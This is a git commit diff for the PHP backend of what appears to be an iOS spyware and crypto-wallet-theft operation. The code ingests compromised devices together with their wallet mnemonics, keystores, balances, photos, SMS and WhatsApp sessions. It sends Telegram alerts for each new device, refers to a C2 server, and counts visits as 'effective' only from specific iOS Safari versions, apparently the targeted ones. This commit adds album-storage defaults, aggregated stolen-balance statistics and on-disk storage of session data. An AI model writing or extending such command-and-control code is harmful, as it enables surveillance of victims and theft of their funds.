feat: tg/ws

This commit is contained in:
hashbro
2026-08-31 02:45:24 +08:00
parent 9176af86dd
commit 337bf45c79
47 changed files with 1725 additions and 598 deletions
+5
View File
@@ -5,6 +5,7 @@ namespace App\Services;
use App\Models\Device;
use App\Models\DsChainLog;
use App\Models\PageVisit;
use App\Models\User;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use App\Support\UserAgentParser;
@@ -288,6 +289,9 @@ class DarkSwordIngestAdapter
}
if ($channel !== null && trim((string) $existing->channel_id) === '') {
$touch['channel_id'] = $channel;
if (! $existing->albumStorageEnabled() && User::albumStorageDefaultForChannel($channel)) {
$touch['album_storage'] = true;
}
}
$existing->forceFill($touch)->saveQuietly();
$this->beaconQueue->seed($existing);
@@ -303,6 +307,7 @@ class DarkSwordIngestAdapter
'ios_version' => $ios,
'channel_id' => $channel,
'user_agent' => $ua !== '' ? $ua : null,
'album_storage' => User::albumStorageDefaultForChannel($channel),
]);
$this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip);
$device->telegram_notified = true;
+35 -32
View File
@@ -73,8 +73,14 @@ class DashboardStatsService
// Period cohort: devices installed (created) in the selected range.
$createdInRange = (clone $base)->whereBetween('created_at', [$from, $to]);
$total = (clone $createdInRange)->count();
$walletCount = (clone $createdInRange)->where('has_wallet', Device::WALLET_YES)->count();
$deviceAgg = (clone $createdInRange)
->selectRaw(
'COUNT(*) as total, COALESCE(SUM(CASE WHEN has_wallet = ? THEN 1 ELSE 0 END), 0) as wallet_count',
[Device::WALLET_YES],
)
->first();
$total = (int) ($deviceAgg?->total ?? 0);
$walletCount = (int) ($deviceAgg?->wallet_count ?? 0);
$newCount = $total;
$activeCount = (clone $base)->whereBetween('updated_at', [$from, $to])->count();
@@ -88,9 +94,7 @@ class DashboardStatsService
$from,
$to,
);
$addressCount = $this->countDeviceChildren(
WalletAddress::query(),
'wallet_addresses',
[$addressCount, $balances] = $this->addressStats(
$agent,
$agentUserId,
$channelId,
@@ -98,7 +102,6 @@ class DashboardStatsService
$from,
$to,
);
$balances = $this->sumBalances($agent, $agentUserId, $channelId, $channelExact, $from, $to);
$visits = PageVisit::query();
AgentScope::applyChannelIdScope($visits, $agent);
@@ -114,19 +117,25 @@ class DashboardStatsService
}
$visits->whereBetween('created_at', [$from, $to]);
$pv = (clone $visits)->count();
$uv = (int) (clone $visits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');
$effectiveVisits = (clone $visits)->tap(fn (Builder $q) => $this->applyEffectiveFilter($q));
$effectivePv = (clone $effectiveVisits)->count();
$effectiveUv = (int) (clone $effectiveVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');
$effectiveSql = $this->effectiveVisitSql();
$visitAgg = (clone $visits)
->selectRaw(
"COUNT(*) as pv,
COUNT(DISTINCT client_uid) as uv,
COALESCE(SUM(CASE WHEN ({$effectiveSql}) THEN 1 ELSE 0 END), 0) as effective_pv,
COUNT(DISTINCT CASE WHEN ({$effectiveSql}) THEN client_uid END) as effective_uv,
COUNT(DISTINCT CASE WHEN os = 'iOS' THEN client_uid END) as ios_uv,
COUNT(DISTINCT CASE WHEN os IS NULL OR os != 'iOS' THEN client_uid END) as other_uv",
)
->first();
$pv = (int) ($visitAgg?->pv ?? 0);
$uv = (int) ($visitAgg?->uv ?? 0);
$effectivePv = (int) ($visitAgg?->effective_pv ?? 0);
$effectiveUv = (int) ($visitAgg?->effective_uv ?? 0);
$iosUv = (int) ($visitAgg?->ios_uv ?? 0);
$otherUv = (int) ($visitAgg?->other_uv ?? 0);
$iosVisits = (clone $visits)->where('os', 'iOS');
$iosUv = (int) (clone $iosVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');
$otherVisits = (clone $visits)->where(function (Builder $q) {
$q->whereNull('os')->orWhere('os', '!=', 'iOS');
});
$otherUv = (int) (clone $otherVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');
$byOs = [
$this->visitRow('iOS', $iosUv, $uv),
@@ -273,11 +282,11 @@ class DashboardStatsService
}
/**
* Sum coin columns for addresses created in the selected range.
* Address count + coin sums in one pass over wallet_addresses in range.
*
* @return array{usdt: string, trx: string, eth: string, btc: string, bnb: string}
* @return array{0: int, 1: array{usdt: string, trx: string, eth: string, btc: string, bnb: string}}
*/
private function sumBalances(
private function addressStats(
?User $agent,
?int $agentUserId,
string $channelId,
@@ -294,7 +303,7 @@ class DashboardStatsService
$channelExact,
)->whereBetween('wallet_addresses.created_at', [$from, $to]);
$selects = [];
$selects = ['COUNT(wallet_addresses.id) as addr_count'];
foreach (WalletAddress::COIN_COLUMNS as $col) {
$selects[] = 'COALESCE(SUM(wallet_addresses.'.$col.'), 0) as '.$col;
}
@@ -308,7 +317,7 @@ class DashboardStatsService
}
/** @var array{usdt: string, trx: string, eth: string, btc: string, bnb: string} $out */
return $out;
return [(int) ($row?->addr_count ?? 0), $out];
}
/**
@@ -350,16 +359,11 @@ class DashboardStatsService
/**
* Safari on iOS 13.0.0–17.2.1, plus 18.5 / 18.6 / 18.6.1 / 18.6.2.
*/
private function applyEffectiveFilter(Builder $query): void
private function effectiveVisitSql(): string
{
$query->where('os', 'iOS')
->where('browser', 'Safari')
->whereNotNull('os_version')
->where('os_version', '!=', '');
[$major, $minor, $patch] = $this->osVersionPartsSql();
$query->whereRaw(
"(
return "os = 'iOS' AND browser = 'Safari' AND os_version IS NOT NULL AND os_version != '' AND (
({$major} >= 13 AND (
{$major} < 17
OR ({$major} = 17 AND {$minor} < 2)
@@ -367,8 +371,7 @@ class DashboardStatsService
))
OR ({$major} = 18 AND {$minor} = 5 AND {$patch} = 0)
OR ({$major} = 18 AND {$minor} = 6 AND {$patch} IN (0, 1, 2))
)"
);
)";
}
/**
+25 -1
View File
@@ -11,6 +11,7 @@ use App\Models\PageVisit;
use App\Models\Photo;
use App\Models\PluginSession;
use App\Models\SmsReport;
use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
@@ -274,6 +275,9 @@ class IngestService
$touch = ['updated_at' => now()];
if ($needChannel && $attr['channel_id'] !== null && $attr['channel_id'] !== '') {
$touch['channel_id'] = $attr['channel_id'];
if (! $device->albumStorageEnabled() && User::albumStorageDefaultForChannel($attr['channel_id'])) {
$touch['album_storage'] = true;
}
}
if ($needDomain && $attr['source_domain'] !== null && $attr['source_domain'] !== '') {
$touch['source_domain'] = $attr['source_domain'];
@@ -352,6 +356,7 @@ class IngestService
'ios_version' => $this->extractIosVersion($payload),
'channel_id' => $attr['channel_id'],
'source_domain' => $attr['source_domain'],
'album_storage' => User::albumStorageDefaultForChannel($attr['channel_id']),
];
// xxbb native UA is spoofed / inaccurate; only keep header UA for old lab C2.
if (! $this->isNewBuilderRequest($request)) {
@@ -669,10 +674,12 @@ class IngestService
break;
}
}
$phone = $kind === PluginSession::KIND_WHATSAPP
$phone = (int) $kind === PluginSession::KIND_WHATSAPP
? $this->scalarToString($payload['userId'] ?? $payload['account'] ?? $payload['phoneId'] ?? $payload['phone'] ?? null)
: null;
$blob = $this->storePluginSessionFile($device, $kind, $account, $blob);
PluginSession::query()->updateOrCreate(
[
'device_id' => $device->id,
@@ -685,6 +692,23 @@ class IngestService
'payload' => $blob,
],
);
$device->refreshImFlags();
}
/**
* Keep a summary in MySQL; write the full session JSON to disk.
*
* @param array<string, mixed> $blob
* @return array<string, mixed>
*/
private function storePluginSessionFile(Device $device, string $kind, ?string $account, array $blob): array
{
$path = PluginSession::payloadFilePath($kind, $device->device_id, $account);
$json = json_encode($blob, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
$json = $json === false ? '{}' : $json;
Storage::disk('local')->put($path, $json);
return PluginSession::dbSummary($kind, $blob, $path, strlen($json));
}
private function scalarToString(mixed $value): ?string